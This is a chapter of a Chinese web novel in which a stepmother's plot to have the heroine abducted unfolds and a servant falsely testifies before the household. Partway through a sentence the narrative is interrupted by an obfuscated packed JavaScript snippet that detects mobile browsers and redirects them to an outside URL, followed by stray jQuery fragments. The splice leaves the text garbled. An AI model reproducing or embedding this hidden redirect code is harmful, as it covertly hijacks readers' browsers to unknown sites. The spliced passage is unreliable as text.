19.污蔑

作品:《论如何靠花钱当上世子妃

    待谢泱和裴易水推门出去,裴玠果然还等在门外,负手而立,不知在想些什么。听见动静,他转过身来,目光落在谢泱身上——裴易水的衣裙穿在她身上刚刚好,衬得她肤色白皙,眉眼愈发温婉。


    他眸光微动,随即移开视线,淡淡道:“走吧,我送你们回去。”


    “你送?”裴易水挑眉,“哥,你可是男子,这大半夜的送谢姑娘回去,传出去……”


    “所以我送你。”裴玠打断她,语气平静无波,“你送谢姑娘回府。”


    谢泱闻言,心头微动。


    她知道,裴玠这是怕她再出什么意外。


    裴易水也反应过来了,意味深长地“哦”了一声,拖长了尾音道:“既然这样——那走吧走吧,谢姑娘,坐我的马车回去。”


    “现在是什么时辰了,灯会可散了?”感激之余,谢泱又有些担忧。


    今晚她是从翠微馆附近与她的两个丫鬟走散的,那歹徒是冲着她来的,想来她的两个丫鬟应该是无虞,她们找不到自己,肯定会禀告谢元鼎,只是······侯府小姐失踪这种事情向来敏感,若被有心人利用,在她的清白这种事情上做文章,届时又是一桩麻烦。


    谢泱又联想到今晚之事与罗岱脱不了干系,而罗漪华又称病未出府,到底是真病了,还是有心避险?这很难不让谢泱怀疑。


    裴玠似乎明白谢泱的担忧:“眼下灯会已经散了,侯府着急,左不过先派人去找,你直接回府即可,也省得再出意外。”


    谢泱看了裴玠一眼,他也正看着她,四目相对,谢泱先移开了目光,轻声道:“是这个道理,多谢世子殿下。”


    “不必。”裴玠的声音很低,像是怕惊着什么似的,“走吧。”


    永安侯府内,谢元鼎将将知道谢泱失踪一事。


    今晚本应是大家一同回府,但夏姨娘有孕,逛到一半觉着身子不利爽,谢元鼎便带着她先回来了。


    谢云萱本就看谢泱不痛快,哪里还会管她的行踪,拉着谢云烟逛的差不多了,便自行回府了。


    中秋逛灯会,说是大家同去同回,实则不过各玩各的。


    而半夏和茯苓两人,在发现谢泱不见了时,先是以翠微馆为中心,绕着周围几条街先找了一番,可游人太多,她们两个姑娘如何能找到被人蓄意绑架的谢泱?


    意识到不能再拖下去了以后,半夏和茯苓便返回来时下马车的地方,结果发现侯府其他人都走了,这才赶回侯府,禀告了谢元鼎。


    “人是什么时候丢的?在哪里丢的?”谢元鼎大怒,好端端的一个侯府小姐在灯会不见了,若是过了今夜,即便是找回来了,那也是不中用了,到时候他丢了一个正值说亲妙龄的女儿不说,传扬出去,侯府的颜面也没地方搁了!


    半夏已经急得说不出话来了,茯苓还算冷静,一五一十将情况陈述给谢元鼎听。


    谢元鼎当即便派人去找:“此事不宜声张,你们一定要低调行事,尽快将人找到!”


    此时整个正堂气氛一片凝重,林姨娘并谢云萱和谢云烟都过来了。


    林姨娘面上看不出什么情绪,谢云烟却是隐隐担忧,只有谢云萱是一脸幸灾乐祸,她出声嘲讽:“叫她装孤傲,这会子人不见了还要府里兴师动众去找她,也不知道是落在哪个贼人手里咯——”


    半夏本就担心极了,听到谢云萱落井下石的话更是又急又气,眼里含着泪,恨不得将谢云萱的嘴撕烂,还是茯苓死死地拉住她。


    半夏被茯苓拉了回来,她清醒过来,知道自己不能拿谢云萱怎么样,她突然恨极了这个侯府。


    今夜姑娘出事,除了她和茯苓,这府里到底有哪一个真正有为自家姑娘着急的?不过都是冷眼旁观!


    谢云萱见半夏不服,狠狠地瞪回去:“我说的不对?就是能找到她,我们侯府也不能认她了,简直丢我们侯府的颜面!”


    “闭嘴!”谢元鼎突然觉得自己宠了这么多年的小女儿真是聒噪,“你若没有好的法子,便滚回去!”


    “父亲!”


    自从谢泱回来以后,父亲对自己的态度便大不如前了,都是谢泱这个扫把星害的,好在,如今她怕是凶多吉少了!想到这,谢云萱内心的不甘又突然被抹平了。


    她何必和一个废人计较呢?谢云萱嘴角挂起得意的笑,也不再反驳,而是退到一旁看事态会如何发展。


    荣禧堂内,因“病”卧床的罗漪华也听到了风声。


    她心中大喜,谢泱不见了,想必是罗岱得手了,既如此,那她便该出场了。


    谢泱想得不错,罗漪华正是想利用女子清白这一点将谢泱这人从此在凤阳抹去。


    她让罗岱雇人将谢泱绑了,玷污后再卖到娼馆里头去,翠微馆只是中转罢了,她要将谢泱卖到外地去,让她永世不得翻身!


    “舅爷回来没有?”罗漪华问传话的丫头。


    “未曾回来,不过服侍舅爷的烛烟过来了,正等着回夫人的话呢。”


    罗漪华扶额皱眉,罗岱现在还不回来,想来是玩的过头了,连正事都抛在脑后了!不过有他的侍从也够了:“叫他进来。”


    烛烟和他主子一样,都是个不靠谱的,罗岱知道谢泱绑在了那杂院后,便叫烛烟在外头守着。


    谁曾想,今日中秋灯会,烛烟本就是浮躁爱热闹的人,自家爷在里头风流快活,自己却还要在这望风,真真是凄凉,于是叫个小厮守着,自己偷偷溜出去玩了。


    烛烟这会子也以为罗岱得手了,还在快活呢,后来被罗漪华的人传回来回话,他也没多想,便回来了。


    “我且问你,舅爷那是否一切顺利?”罗漪华看着下头低着头回话的烛烟。


    烛烟眼睛滴溜溜一转,瞎话张口就来:“顺利,顺利着呢,只是舅爷忙着,顾不上小的,小的便先来回夫人了。”


    罗漪华轻叹一口气,自己弟弟风流好色这一点是如何也改不了了,不过估摸着时辰,谢泱这会子应该已经被送出城了。


    “罢了,我本是想让他来说,既然这样,待会就你来说。”罗漪华要让烛烟证实他目睹了谢泱是被人掳走的。


    “说······说什么呀夫人?”烛烟惊得抬起头,惶恐地看向罗漪华。


    烛烟知道自家爷和夫人对谢泱干的那档子事,但爷只吩咐自己千万要闭嘴呀,他要说什么,说自家爷掳走了大小姐?


    “蠢货,当然是说你家爷目睹了谢泱被人掳走,自己去追了,派你来报信。”


    烛烟心下震惊,这不是睁眼说瞎话吗?这当后娘的就是心狠呐,但嘴上还是应下了,他就是个下人,主子怎么说,他就得怎么做:“是,夫人。”


    到了正堂,罗漪华被丫鬟搀着,嘴上不住地咳嗽,俨然一副强撑病体也要起身的模样。


    谢元鼎见夫人这个样子,自是心疼得很,忙过去搀扶,温声责备:“不是病了吗?怎么不好好躺着,非要到这来?”


    罗漪华却是眼眶微红,垂泪欲泣:“泱姐儿被人掳走,叫我这个做母亲的怎么能不着急?难道夫君还要瞒着我吗?”


    听到这在场之人皆是一惊,被人掳走?


    谢云萱暗自叫好,她就知道,谢泱一定没有好下场!


    半夏和茯苓对视一眼,眼里都读懂了对方眼中的震惊与疑惑:罗漪华怎么张口就说自家姑娘被人掳走了?她在病中怎么会知道这种她们都不知道的事?


    “你怎么知道姑娘是被人掳走的?!”半夏此时已经顾不上尊卑礼仪了,她只想知道罗漪华都知道些什么。


    谢元鼎也疑惑:“夫人,此事非同小可,你是如何得知的?”


    罗漪华面对半夏的不敬也不恼,抽抽嗒嗒地解释:“老爷,并非我信口雌黄,而是今晚,阿岱也去了灯会,他看见了泱姐儿被贼人掳走,自己着急去追,便先派了身边服侍的烛烟来报信。”


    谢元鼎一脸凝重:“烛烟呢?!快叫他来!”


    “老爷莫急,我已经


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260090|196167||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    叫烛烟在外头等着了。”罗漪华转头吩咐身边的丫鬟,“去把人带上来。”


    片刻后,烛烟便被人带了上来。


    他环顾一圈后,先朝着谢元鼎磕了头:“侯爷,我和我家公子亲眼瞧见,大小姐被贼人掳了去,就在翠微馆附近!”


    翠微馆,在场之人都知道这是个什么地方,翠微馆现在说是清雅寻乐之地,可凤阳人谁不知道,早年翠微馆就是靠做皮肉生意发家的。


    半夏和茯苓急了,姑娘和她们正是在翠微馆附近被人群冲散的,莫非这个烛烟说的是真的?!


    “你确定你看清楚了?!是我家姑娘?!”茯苓冷声质问烛烟。


    半夏睁着猩红的双眼,死死得瞪着烛烟:“你若是胡说,我便撕了你的狗嘴!”


    烛烟本就心虚,这下更是被半夏和茯苓的架势吓住了,一时间说不出话来,他弱弱地看了一眼罗漪华。


    罗漪华亦是瞪了烛烟一眼,心里骂他烂泥扶不上墙,但嘴上还是说:“没用的东西,把你知道的老老实实说出来就好,正是急得时候!”


    这就是告诉烛烟她会给他撑腰的意思了。


    烛烟咽了口气,气势又回来了,看着半夏和茯苓:“我看的真真切切,难道我和我家公子伙同起来诓你们不成?真是好心没好报。”


    烛烟说起瞎话来一套一套的,唬得在场的人都信以为真,唯有半夏和茯苓心里仍不愿相信烛烟的话。


    谢元鼎指着烛烟:“你快细细说来当时的情况。”


    烛烟想了一会便接着说:“当时我家公子正在翠微楼外头看热闹,碰巧见着了大小姐和她的两个丫鬟,”说到这,烛烟看了一眼半夏和茯苓,“公子本想前去打个招呼,可没曾想人群忽然乱了起来,再后来,我和公子便见着大小姐被人捂了口鼻掳了去······”


    说罢,烛烟又像要证实般地问了半夏和茯苓:“当时你们也在,应该知道我说的并非假话。”


    是了,确实是这样的,半夏和茯苓最是清楚,当时人流冲散了她们和姑娘,再之后,姑娘便不见了。


    在场的人刚刚都听了茯苓的述说,与烛烟说的一般无二,这下大家都信了谢泱是被人强掳了去的。


    半夏不愿相信,但事实摆在这,她双目失神,嘴唇张合却说不出一个字来,就连一直冷静应对的茯苓此时也再也忍不住哭了起来。


    就在此时,外头的侯府私卫忽然来报:“侯爷——”


    所有人目光灼灼看向这个侍卫,谢元鼎一下站起来,问:“可是有消息了?”


    那侍卫却是摇了摇头:“我们找遍了连同翠微馆在内的附近街道和商铺,都没有发现大小姐的踪迹。”


    在场之人听到这个消息反应皆是沉默,只有罗漪华在暗处悄悄松了一口气。


    谢元鼎跌坐在椅子上,一脸不可置信。


    罗漪华却是一下哭出了声:“我可怜的泱姐儿啊,好不容易回府过了几天好日子,眼下被贼人掳去,清白难保,以后可怎么办啊——”


    茯苓当即便反驳回去:“眼下我家姑娘还未找到,夫人怎可乱下定论,您究竟是何居心!”


    谢云萱见茯苓一个丫鬟都敢驳自己的母亲,顿时怒不可遏:“大胆,这刁奴目无尊卑,以下犯上,我看,拖出去乱棍打死为好!”


    谢云萱这一喊倒是提醒了罗漪华,反正谢泱已除,她的这两个丫鬟也顺便处理了为好,便顺着谢云萱的话说下去:“大姑娘的这两个丫鬟护主不利,来人,拖下去,一人四十大板,发卖出府!”


    罗漪华说罢,下头便有几个粗使婆子上前来要押走半夏和茯苓,侯府的当家夫人都发话了,在场也无一人敢反驳。


    因着她们人多,半夏和茯苓也一时之间不得挣脱,半夏挣扎着大喊:“我们并非侯府家生仆,你们怎可随意处置我们!”


    “还不赶紧拖下去!”罗漪华呵斥那群婆子。


    就在此时,门外忽然传来一声:“我看谁敢!”